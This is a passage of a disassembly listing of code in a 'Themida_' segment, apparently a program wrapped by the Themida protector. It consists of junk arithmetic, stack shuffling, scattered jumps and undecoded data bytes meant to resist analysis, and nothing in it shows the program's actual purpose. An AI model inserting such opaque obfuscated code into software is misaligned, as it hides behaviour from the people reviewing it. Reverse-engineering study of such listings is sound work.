aRhgt		db 'Rh£t',0
		dw 0E900h
		dd 0FFFFE2B0h
; ---------------------------------------------------------------------------


loc_563468:				; CODE XREF: Themida_:005706A3j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56ADFD
; ---------------------------------------------------------------------------
		dw 3BBh
		dd 965AE0Eh, 241C8BD8h,	0E904C483h, 0C40Eh
; ---------------------------------------------------------------------------


loc_563488:				; CODE XREF: Themida_:00565A69j
		push	56F10FF3h
		mov	esi, [esp]
		add	esp, 4
		not	esi
		push	ecx
		push	esi
		mov	esi, 0DAC38B7h
		mov	ecx, 5443B660h
		sub	ecx, esi
		pop	esi
		jmp	loc_56E77F
; ---------------------------------------------------------------------------
		dd 2467BEBFh, 503E95Dh,	0B3BB0000h, 0E9E79D12h,	516Bh
		dd 34FFFB01h, 243C8B24h, 7B60E9h
		db 0
; ---------------------------------------------------------------------------


loc_5634CD:				; CODE XREF: Themida_:00569B58j
		push	eax
		mov	eax, 4
		jmp	loc_566507
; ---------------------------------------------------------------------------


loc_5634D8:				; CODE XREF: Themida_:0055E890j
		pop	ebp
		add	edx, 3EE86477h
		add	edx, edi
		jmp	loc_568C9E
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFABB3h
; ---------------------------------------------------------------------------


loc_5634EC:				; CODE XREF: Themida_:00568D1Ej
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564353
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 5C240433h, 7EDF68h, 24348900h, 0C74EE9h
		dd 2728BF00h, 51473CACh, 244A30B9h, 0FD73E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563522:				; CODE XREF: Themida_:00562318j
		add	ebx, 0B328DEDEh
		push	esi
		push	ebx
		add	dword ptr [esp], 6CCB13DFh
		pop	esi
		jmp	loc_5611EE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9DD2900h, 0C160h, 5C242C33h,	31A1E9h, 4B900h
		dd 81510000h, 26102404h, 815A3785h, 852610EAh, 0D6015937h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56520B
; ---------------------------------------------------------------------------
		db 59h
		dd 48BC788h, 4C48324h, 0F604EFC0h, 95EF80DFh, 0F8282E2Ch
		dd 1C8B2E04h, 0FC3FE924h, 0BF57FFFFh, 557A5EBDh, 799DEF81h
		dd 21E92AE2h, 5A00007Ah, 1C4E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5635A6:				; CODE XREF: Themida_:0056671Fj
		pop	eax
		jmp	loc_572A2C
; ---------------------------------------------------------------------------


loc_5635AC:				; CODE XREF: Themida_:0056C98Bj
		add	edx, 61EC771Fh
		jmp	loc_56D4A5
; ---------------------------------------------------------------------------


loc_5635B7:				; CODE XREF: Themida_:00568D6Aj
		mov	ecx, 309521B0h
		push	ecx
		not	dword ptr [esp]
		jmp	loc_56DA2F
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 75CABD55h, 0C5815582h, 32E92880h, 3FAEC581h,	0ED810F0Eh
		dd 56BA1D2Dh, 83ED814Dh, 83257375h, 48904ECh, 3CB3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5635F2:				; CODE XREF: Themida_:005664E9j
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		mov	eax, [esp]
		push	69BDh
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 647F2CEAh
		shl	eax, 1
		jmp	loc_566565
; ---------------------------------------------------------------------------


loc_563613:				; CODE XREF: Themida_:0056E00Cj
		push	3876h
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	ebx
		push	ebp
		push	eax
		mov	eax, 227D61E9h
		mov	ebp, 40BA2468h
		xor	ebp, eax
		pop	eax
		inc	ebp
		xor	ebp, 61651D4Fh
		push	ebp
		xchg	ecx, [esp]
		jmp	loc_5657BF
; ---------------------------------------------------------------------------
		db 56h
		dd 0DE5999BEh, 0DAF6810Ah, 0E94D8A4Ch, 0FADh, 683232BEh
		dd 0F7DEF752h, 5E946D6h, 48FFFFFDh, 1835D0F7h, 29861CEDh
		dd 0BA5258C3h, 710145ADh, 0CA03F281h, 9CE9FD80h, 28000026h
		dd 16C380E3h, 0B60F5866h, 0F090E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56369A:				; CODE XREF: Themida_:0056E114j
		sub	edi, esi
		sub	edi, 6F7043F1h
		pop	esi
		jmp	loc_56C28F
; ---------------------------------------------------------------------------
		dd 8704C783h, 0A7E9243Ch
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5636B3:				; CODE XREF: Themida_:0057164Dj
		xor	edi, 0D5AA5F0Ch
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_56967B
; ---------------------------------------------------------------------------


loc_5636CF:				; CODE XREF: Themida_:00561BB3j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	ecx
		mov	ecx, 284B4C73h
		jmp	loc_56B119
; ---------------------------------------------------------------------------


loc_5636E1:				; CODE XREF: Themida_:00563D12j
		sub	edx, ebx
		jmp	loc_564B30
; ---------------------------------------------------------------------------
		dd 5724048Bh, 0FFE94EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636F1:				; CODE XREF: Themida_:0056C250j
		mov	eax, 4E7350BBh
		add	eax, 70DA2809h
		or	eax, 518A3106h
		or	eax, 43B700E9h
		jmp	loc_56F9D9
; ---------------------------------------------------------------------------


loc_56370A:				; CODE XREF: Themida_:00562E31j
		mov	[esp], ebx
		push	4B6Ah
		mov	[esp], eax
		mov	eax, 65A94F84h
		jmp	loc_56C7BB
; ---------------------------------------------------------------------------
		db 5
		dd 7CB2296Ch, 8B2434FFh, 0C1E92434h, 81FFFFADh,	0F2733BEBh
		dd 81F32948h, 0F2733BC3h, 24348B48h, 2904C483h,	69C381C3h
		dd 0E90D3511h, 1DA4h, 83242489h, 5F042404h, 0C03AE9h, 5AD02900h
		dd 48BC629h, 7ADEE924h,	0DEF70000h, 6009C681h, 0F001492Ah
		dd 5124348Bh, 0C181E189h, 4, 808AE9h, 240C8B00h, 79E8E950h
		dd 0C4800000h, 2434FFC7h, 81241C8Bh, 4C4h, 0DD3BE900h
		dd 0EF01FFFFh, 2BD555Dh, 1000000h, 2434FFEFh, 81242C8Bh
		dd 4C4h, 5B545300h, 4BD55h, 0EB010000h,	0E9242C8Bh, 7100h
; ---------------------------------------------------------------------------


loc_5637CC:				; CODE XREF: Themida_:0055F84Dj
		sub	esi, 36C35838h
		pop	ebp
		add	edx, esi
		jmp	loc_56ECB8
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 0C3FBE95Fh, 3C8BFFFFh, 4C48124h, 0E9000000h,	0FFFFCBD1h
		dd 555DEF01h, 7544C2BDh, 8BEF012Fh, 0C483242Ch,	2434FF04h
		dd 0A812E9h, 57DE8700h,	0BA6E5DBFh, 5FFE2106h, 805EE81h
		dd 0C58103F8h, 37062BEFh, 0ED81F529h, 37062BEFh, 0AC27E95Eh
		dd 75BA0000h, 81158274h, 0B618AFF2h, 0FF1FE966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56383E:				; CODE XREF: Themida_:0056F7F8j
		add	ecx, 4
		push	edi
		mov	edi, 0F78772Eh
		jmp	loc_5614D0
; ---------------------------------------------------------------------------


loc_56384F:				; CODE XREF: Themida_:0055FB3Fj
		add	dword ptr [esp+4], 0A640027h
		jmp	loc_563A2D
; ---------------------------------------------------------------------------


loc_56385C:				; CODE XREF: Themida_:00571B14j
		push	esp
		pop	ebx
		jmp	loc_562A4F
; ---------------------------------------------------------------------------


loc_563863:				; CODE XREF: Themida_:0056F458j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5613D0
; ---------------------------------------------------------------------------
		dd 0C381DBF7h, 4D3A358Fh, 0F370E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563886:				; CODE XREF: Themida_:00565EC9j
		mov	[esp], edx
		push	eax
		push	1C1E38D8h
		pop	eax
		sub	eax, 6D1847E4h
		inc	eax
		sub	eax, 0AF05F0D5h
		push	eax
		sub	dword ptr [esp], 6B6A5C05h
		pop	edx
		add	edx, 6B6A5C05h
		pop	eax
		add	edx, edi
		push	eax
		pop	dword ptr [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		push	edx
		jmp	loc_56409F
; ---------------------------------------------------------------------------


loc_5638BD:				; CODE XREF: Themida_:0056AAF4j
		pop	ebp
		xor	ebp, 27A4649h
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5621B2
; ---------------------------------------------------------------------------


loc_5638CF:				; CODE XREF: Themida_:0056E05Aj
		sub	dword ptr [esp+8], 1B487FCEh
		push	edi
		jmp	loc_571B19
; ---------------------------------------------------------------------------


loc_5638DD:				; CODE XREF: Themida_:0055F1E3j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_564AED
; ---------------------------------------------------------------------------


loc_5638F2:				; CODE XREF: Themida_:005659EBj
		add	edi, eax
		sub	edi, 7BC30E46h
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_562E1C
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 0ADED815Fh, 10C6EE6h, 242C8BEEh, 5F04C483h, 0BB74E9h
		dd 4EC8300h, 0E9243489h, 0FFFFFACEh
; ---------------------------------------------------------------------------


loc_563930:				; CODE XREF: Themida_:0056190Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		push	small 181Bh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 5B28BD24h, 0EB2942E9h, 0F2CB815Dh, 810C6C0Eh, 4107C3h
		dd 0FFD98911h, 1C8B2434h, 4C48124h, 68000000h, 7B16h, 0E9240489h
		dd 2E1Fh, 5D2434FFh, 4C481h, 34330000h,	24343124h, 8B243433h
		dd 0E3682424h, 8900004Dh, 0B850240Ch, 193E3274h, 90AEADB9h
		dd 58C1297Dh, 0A7685753h, 5F5F8A6Fh, 61A4E9h, 0DDD4BA00h
		dd 0C281954Fh, 28814882h, 5773EA81h, 0FA291437h, 5773C281h
		dd 5FE91437h, 8B000078h, 0C483241Ch, 24348B04h,	8904EC83h
		dd 0E0892404h, 405h, 40500h, 4870000h, 5D26E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5639FA:				; CODE XREF: Themida_:0055EF9Dj
		pop	edi
		add	ecx, eax
		push	eax
		mov	eax, 3735607Eh
		not	eax
		inc	eax
		push	ebx
		jmp	loc_5707C9
; ---------------------------------------------------------------------------
aXBastsrs	db 'Áå',7,'íátáRé',1Bh,'ß',0
		align 2
aQ_0		db 'Q¹',0
		db 65h,	0D2h, 1Dh
		dd 24348151h, 3C82790Dh, 0D8FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_563A2D:				; CODE XREF: Themida_:00563857j
		add	[esp+4], edi
		sub	dword ptr [esp+4], 0A640027h
		add	dword ptr [esp+4], 66220272h
		sub	dword ptr [esp+4], 3615764h
		sub	esp, 4
		mov	[esp], edx
		push	23E6h
		mov	[esp], ecx
		mov	ecx, 469E308Ah
		jmp	loc_56A547
; ---------------------------------------------------------------------------
		db 5Bh,	66h, 53h
		dd 0DD30F3B3h, 0A31E9h,	24048900h, 405E089h, 83000000h
		dd 48704E8h, 0C895C24h,	89556824h, 0E9593FAFh, 4165h
; ---------------------------------------------------------------------------


loc_563A8C:				; CODE XREF: Themida_:0056A37Ej
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, 279D30D2h
		jmp	loc_566209
; ---------------------------------------------------------------------------


loc_563A9E:				; CODE XREF: Themida_:00562302j
		not	ebp
		xchg	ebp, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		push	edx
		jmp	loc_55FC0C
; ---------------------------------------------------------------------------
		dd 0CC01E95Ah, 6105FFFFh, 310CAA3Ch, 955EE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563AC6:				; CODE XREF: Themida_:005695C8j
		pop	dword ptr [edi+24h]


loc_563AC9:				; CODE XREF: Themida_:00564086j
		push	esi
		jmp	loc_565376
; ---------------------------------------------------------------------------
		db 89h
		dd 10E9241Ch, 87FFFFBDh, 665C2404h, 6824048Bh, 293Ah, 0FFC05BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563AE9:				; CODE XREF: Themida_:00560E82j
		sub	ebp, 397D0B14h
		mov	ecx, [esp]
		push	ebp
		jmp	loc_56A9F8
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 0F068E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B06:				; CODE XREF: Themida_:0056642Aj
		mov	eax, edx
		pop	edx
		push	936C8FC0h
		pop	ebx
		add	ebx, 1A8116B0h
		add	ebx, eax
		jmp	loc_56B779
; ---------------------------------------------------------------------------


loc_563B1C:				; CODE XREF: Themida_:00560877j
		mov	ebx, [esp]
		jmp	loc_56DA5D
; ---------------------------------------------------------------------------
		dd 151EBA52h, 0EA875FDAh, 0E9EA874Dh, 0FFFFB46Eh
; ---------------------------------------------------------------------------


loc_563B34:				; CODE XREF: Themida_:00572631j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_564D9F
		push	dword ptr [edi+1Ch]
		push	5F8Bh
		jmp	loc_569573
; ---------------------------------------------------------------------------


loc_563B58:				; CODE XREF: Themida_:00568922j
		shr	eax, 8
		and	eax, 4B1F69B6h
		jmp	loc_55FCA5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 89522414h, 4C281E2h, 51000000h, 4B9h, 0E9CA0100h
		dd 0A90Dh
; ---------------------------------------------------------------------------


loc_563B84:				; CODE XREF: Themida_:0056B231j
		push	esi
		push	ebx
		mov	ebx, 24B1490Eh
		shl	ebx, 3
		neg	ebx
		xor	ebx, 44366E43h
		add	ebx, 243D7128h
		jmp	loc_563EC9
; ---------------------------------------------------------------------------


loc_563BA1:				; CODE XREF: Themida_:005721B2j
		pop	edi
		xor	ecx, 32F1232Fh
		push	ebp
		mov	ebp, 3C6B2855h
		inc	ebp
		xor	ebp, 26A30694h
		jmp	loc_571EC5
; ---------------------------------------------------------------------------
		dw 0BEB8h
		dd 3507A146h, 3EF42097h, 2958C201h, 29EA81C2h, 55395566h
		dd 65AFE9h, 99E99500h, 89000084h, 8956240Ch, 4BA52E6h
		dd 1000000h, 0BF575AD6h, 4, 875FFE29h, 26E92434h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BFB:				; CODE XREF: Themida_:00560F35j
		xchg	edx, [esp]
		pop	esp


loc_563BFF:				; CODE XREF: Themida_:00561A1Fj
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_564325
; ---------------------------------------------------------------------------
aAqisf4		db '€ï›éä4',0
		align 2


loc_563C1A:				; CODE XREF: Themida_:0055EC92j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5685CB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 39E92404h, 1000010h,	0C875FF9h, 8F22E924h, 2680000h
		dd 89000033h, 0BB68240Ch, 5400004Ch, 36DEE9h, 4BE00h, 0F3010000h
		dd 7126E95Eh, 0EE810000h, 0FFFFFFFFh, 6D79E9h
		db 0
; ---------------------------------------------------------------------------


loc_563C65:				; CODE XREF: Themida_:005673A9j
		and	edx, 542F12DEh
		push	eax
		mov	eax, 297C1FB1h
		xor	eax, 79BD2623h
		add	edx, eax
		jmp	loc_564DCA
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 59h
		dd 501BC10Ah, 2A6C53B8h, 0E9D8F748h, 4F7Eh
; ---------------------------------------------------------------------------


loc_563C90:				; CODE XREF: Themida_:0056F570j
		push	ebp
		jmp	loc_56BE78
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 33Ch, 81EBE56h, 0F289447Eh, 80AAE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563CAA:				; CODE XREF: Themida_:0056CF60j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_566709
; ---------------------------------------------------------------------------


loc_563CB4:				; CODE XREF: Themida_:00571A7Ej
		add	ebp, esi
		add	ebp, 237F26A5h
		jmp	loc_5667A6
; ---------------------------------------------------------------------------


loc_563CC1:				; CODE XREF: Themida_:0055E738j
		pop	eax
		pop	ebp
		push	esi
		dec	dword ptr [esp]
		jmp	loc_56181C
; ---------------------------------------------------------------------------
		dd 0B7546FBDh, 5EF53116h, 34FFEB01h, 7F91E924h,	0EF810000h
		dd 0CD055E2h, 0B951DF29h, 0CD055E2h, 7FE9CF01h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563CF3:				; CODE XREF: Themida_:0055FFD1j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A816EAh
		dec	edx
		push	ebx
		mov	ebx, 54670B4Dh
		jmp	loc_5636E1
; ---------------------------------------------------------------------------


loc_563D17:				; CODE XREF: Themida_:0056AE3Bj
		mov	eax, 4D1A3F2Ch
		xor	esi, eax
		pop	eax
		sub	edi, 4FA625E3h
		jmp	loc_560D5D
; ---------------------------------------------------------------------------
		dw 0D788h
		dd 0E95BF888h, 0FFFFC2D0h, 4CB0CD81h, 814555F7h, 0F7FFFDF5h
		dd 8BE90155h, 6FE9242Ch, 89000002h, 4AE92414h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563D53:				; CODE XREF: Themida_:00571559j
		sub	esp, 4
		jmp	loc_572AA1
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 47E0E900h, 0BD550000h,	7DBA025Ch, 0D4CF581h, 0CD815CDCh
		dd 77B454DDh, 4B37ED81h, 0ED811275h, 223D95E0h,	835DEE89h
		dd 1C8904ECh, 7960BB24h, 0C681064Dh, 4FF878B7h,	1FB9EE81h
		dd 0DE011B7Bh, 7FD268h,	241C8900h, 7B1FB9BBh, 5ECFE91Bh
		dd 0E2890000h, 256FE9h
		db 0
; ---------------------------------------------------------------------------


loc_563DB9:				; CODE XREF: Themida_:0056E933j
		inc	edx
		add	edx, 7FA79BC9h
		jmp	loc_56A290
; ---------------------------------------------------------------------------


loc_563DC5:				; CODE XREF: Themida_:00567F1Bj
		mov	[esp], edx
		push	7637h
		jmp	loc_56566C
; ---------------------------------------------------------------------------
		dw 489h
		dd 0BBCBE924h, 0DF29FFFFh, 0FFB867E9h, 0D82858FFh, 0E9241C8Bh
		dd 9906h, 24348B5Eh, 4C481h, 0C6810000h, 4, 4EE81h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56DC17
; ---------------------------------------------------------------------------


loc_563E16:				; CODE XREF: Themida_:00570F32j
		mov	dl, 49h
		xchg	bh, dl
		push	ebx
		not	byte ptr [esp+1]
		jmp	loc_56122C
; ---------------------------------------------------------------------------
		dd 269668h, 240C8900h, 322F4B9h, 0FFC1833Dh, 1201BF57h
		dd 0C1814BDCh, 5B213387h, 0E981F929h, 5B213387h, 5224E95Fh
		dd 0EF810000h, 0D770EAA8h, 3C8BF821h, 9F7E924h,	0C4830000h
		dd 1BA5204h, 29000000h,	0E9815AD1h, 7D26F8AEh, 9B11E9h
		dd 6C18100h, 29A1BC1Eh,	0C58959C8h, 6F8EE9h, 3E226800h
		dd 1C890000h, 4BB24h, 0DF890000h, 81241C8Bh, 4C4h, 0E9F98900h
		dd 0BEF6h, 5188C181h, 0C1812CAEh, 8B671BC5h, 0A2E9CD31h
		dd 890000CFh, 2E9241Ch,	66FFFFE0h, 0D0FDEE81h, 0B6EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_563EC9:				; CODE XREF: Themida_:00563B9Cj
		add	ebx, 3F7EB505h
		mov	esi, ebx
		pop	ebx
		mov	edx, esi
		pop	esi
		mov	eax, edx
		jmp	loc_564EB5
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 4BD24h, 92E90000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563EEF:				; CODE XREF: Themida_:00560B43j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568B0A
; ---------------------------------------------------------------------------
		dd 0F035D0F7h, 0C106D719h, 0D0F703E8h, 0B7B0CE05h, 8BC30111h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5719E1
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 243C8B54h, 8104C483h, 4ECh, 24148900h, 0CD5945BAh
		dd 0D4A0E970h, 3C890000h, 7D12E924h, 0EC810000h, 4, 0BA241489h
		dd 3E314563h, 314567BEh, 748AE93Eh, 0E2890000h,	2083E9h
		db 0
byte_563F6D	db 0ACh, 53h, 50h	; DATA XREF: Themida_:0055DEECo
		dd 0F66AB151h, 56C180D9h, 8167E9h, 8BD70100h, 0C4812414h
		dd 4, 0B462E956h, 665C0000h, 68240C8Bh,	4FEFh, 54243C89h
		dd 8B2434FFh, 0C483243Ch, 0A1CBE904h, 69BB0000h, 81468634h
		dd 0EB446AF3h, 0A44CE92Ch, 0C481FFFFh, 4, 8B240C87h, 56E92424h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FCB:				; CODE XREF: Themida_:0055EDE5j
		mov	edx, 43986B19h
		add	eax, edx
		pop	edx
		jmp	loc_568D23
; ---------------------------------------------------------------------------
		dd 0E95BD801h, 120Bh, 29B368h, 7EA1E900h, 0F6BE0000h, 811FD905h
		dd 3259A5CEh, 4401683Dh, 14890000h, 36FE924h, 53680000h
		dd 89000039h, 0DDBB241Ch, 8970B559h, 0D6895BDAh, 49A1E9h
		dd 48F5C00h, 24248B24h,	0FF2434FFh, 34FF2434h, 24048B24h
		dd 8104C483h, 4C4h, 0E0895000h,	405h, 4E88300h,	5C240487h
		dd 54241489h, 4C2815Ah,	83000000h, 148704C2h, 0DC685C24h
		dd 89000029h, 5E542434h, 8904EC83h, 0E9512414h,	0FFFFF4E1h
; ---------------------------------------------------------------------------


loc_56406C:				; CODE XREF: Themida_:0056FD95j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5662D8
; ---------------------------------------------------------------------------
aItsrr		db '‰âéà',0
		align 2


loc_56407E:				; CODE XREF: Themida_:00565111j
		add	esp, 4
		or	eax, eax
		jz	loc_563AC9
		push	6717h
		mov	[esp], eax
		push	ebp
		mov	ebp, 1Ch
		jmp	loc_572439
; ---------------------------------------------------------------------------


loc_56409F:				; CODE XREF: Themida_:005638B8j
		mov	edx, 24h
		sub	edx, 159F3590h
		jmp	loc_55E87E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1464E951h, 0E2890000h, 4C281h, 0BEE90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640C3:				; CODE XREF: Themida_:0056ED71j
		push	ecx
		mov	ecx, 62AF5EB9h
		sub	ecx, 591B1143h
		xor	ecx, 22C55F89h
		mov	esi, ecx
		pop	ecx
		mov	ecx, 0D4AEED02h
		add	ecx, 241F64EEh
		add	ecx, esi
		sub	ecx, 241F64EEh
		jmp	loc_56DFEF
; ---------------------------------------------------------------------------


loc_5640F0:				; CODE XREF: Themida_:00570426j
		mov	esp, [esp]
		jmp	loc_56ED60
; ---------------------------------------------------------------------------


loc_5640F8:				; CODE XREF: Themida_:00560D65j
		mov	esi, [esp]
		add	esp, 4
		xor	edi, 0DBCBC6ABh
		add	ecx, edi
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_572AAA
; ---------------------------------------------------------------------------


loc_56411D:				; CODE XREF: Themida_:0056E398j
		push	eax
		mov	eax, 5FF60138h
		jmp	loc_56B72E
; ---------------------------------------------------------------------------


loc_564128:				; CODE XREF: Themida_:005661FBj
		xor	edi, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	4CD72123h
		jmp	loc_562317
; ---------------------------------------------------------------------------
		dd 42474FFh, 5A2434FFh,	4FE68h,	24348900h, 0EC835E54h
		dd 24148904h, 4BAh, 5AD60100h, 0E904C683h, 0FFFFB377h
; ---------------------------------------------------------------------------


loc_564178:				; CODE XREF: Themida_:005665F7j
		push	ebp
		mov	ebp, 30525D34h
		or	ebp, 206F237Ah
		sub	ebp, 13E73DF3h
		add	esi, ebp
		pop	ebp
		sub	esi, 0DE0284E7h
		sub	ebx, esi
		pop	esi
		jmp	loc_56A12F
; ---------------------------------------------------------------------------
		db 5Ch
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5D584A0Ah
		shr	edi, 3
		not	edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		neg	eax
		jmp	loc_569C92
; ---------------------------------------------------------------------------
		dd 4C481h, 0EA810000h, 79DE395Ah, 24348B52h, 5A04C483h
		dd 8B1C7721h, 54522434h, 4C2815Ah, 68000000h, 7A35h, 55243C89h
		dd 4BDh, 0AF3AE900h, 55510000h,	0C96AE868h, 24685D5Fh
		dd 89000018h, 0C8BF243Ch, 0D127AE3Ah, 0E7C147E7h, 36C78107h
		dd 15D2B42h, 243C8BFDh,	0F704C483h, 25ED81D5h, 816BEF52h
		dd 5FE2A4C5h, 5DE989E3h, 0FFEAAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564249:				; CODE XREF: Themida_:0055EA7Cj
		pop	esp
		mov	[esp], eax
		jmp	loc_55E987
; ---------------------------------------------------------------------------
		dw 565Bh
		dd 4BEh, 85C38100h, 122C711h, 85EB81F3h, 5E22C711h, 57BE5657h
		dd 0BF48D108h, 0B72EF7ADh, 52CDE9h, 6EF38100h, 810CD147h
		dd 0ACC56CC3h, 5BDE09D9h, 0FEBA5253h, 0E90F592Ah, 0FFFFD3A2h
		dd 4C481h, 0BD680000h, 0E9000061h, 0A895h
; ---------------------------------------------------------------------------


loc_5642A4:				; CODE XREF: Themida_:00571B60j
		push	esi
		mov	esi, 41DD52AFh
		sub	ebp, 3D71636Dh
		jmp	loc_571EA0
; ---------------------------------------------------------------------------
aSt_0		db '·Øéâ:',0
		align 4
		dd offset dword_58F768
		dd 24148900h, 6685A54h,	89000046h, 0EDBE2434h, 8167BF11h
		dd 0DA13B8CEh, 0FFEE8369h, 0EC06C681h, 0F2019000h, 8324348Bh
		dd 0EA8304C4h, 24148704h, 8924248Bh, 2B9240Ch, 29000000h
		dd 2C3359CDh, 242C3124h, 8B242C33h, 89662424h, 8CE9240Ch
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564313:				; CODE XREF: Themida_:00564732j
		pop	ecx
		add	edi, 0FFFFFFFFh
		add	edi, 208F0C15h
		jmp	loc_56C029
; ---------------------------------------------------------------------------


loc_564325:				; CODE XREF: Themida_:00563C0Dj
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56A68C
; ---------------------------------------------------------------------------
		dd 7F2668h, 242C8900h, 4BDh, 4E95500h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564353:				; CODE XREF: Themida_:005634F5j
		mov	ecx, 4
		sub	esi, 2EA1799Ch
		sub	esi, 4C187802h
		add	esi, ecx
		jmp	loc_568F4D
; ---------------------------------------------------------------------------
aUsI		db 'UéÈ',0
		dd 167CBA00h, 0D62145C9h, 8BC6815Ah, 814F166Bh,	852958C6h
		dd 0E956512Ah, 6A6h
; ---------------------------------------------------------------------------


loc_56438C:				; CODE XREF: Themida_:0056514Dj
		xor	esi, 5020DCACh
		xor	edi, esi
		pop	esi
		jmp	loc_561C20
; ---------------------------------------------------------------------------


loc_56439A:				; CODE XREF: Themida_:005660BDj
		add	edx, 4
		sub	esp, 4
		jmp	loc_5657CB
; ---------------------------------------------------------------------------


loc_5643AB:				; CODE XREF: Themida_:0055FB5Bj
		mov	dh, 9Bh
		mov	al, 0Ah
		sub	al, dh
		pop	edx
		sub	bl, al
		pop	eax
		push	eax
		mov	ah, 87h
		push	edx
		mov	dh, 4Eh
		jmp	loc_56D6FD
; ---------------------------------------------------------------------------


loc_5643C0:				; CODE XREF: Themida_:00566B5Bj
		mov	[esp], ebx
		jmp	loc_55F0FB
; ---------------------------------------------------------------------------
		dd 53500CB5h, 0DC88F388h, 0E9EE885Bh, 3933h, 8924248Bh
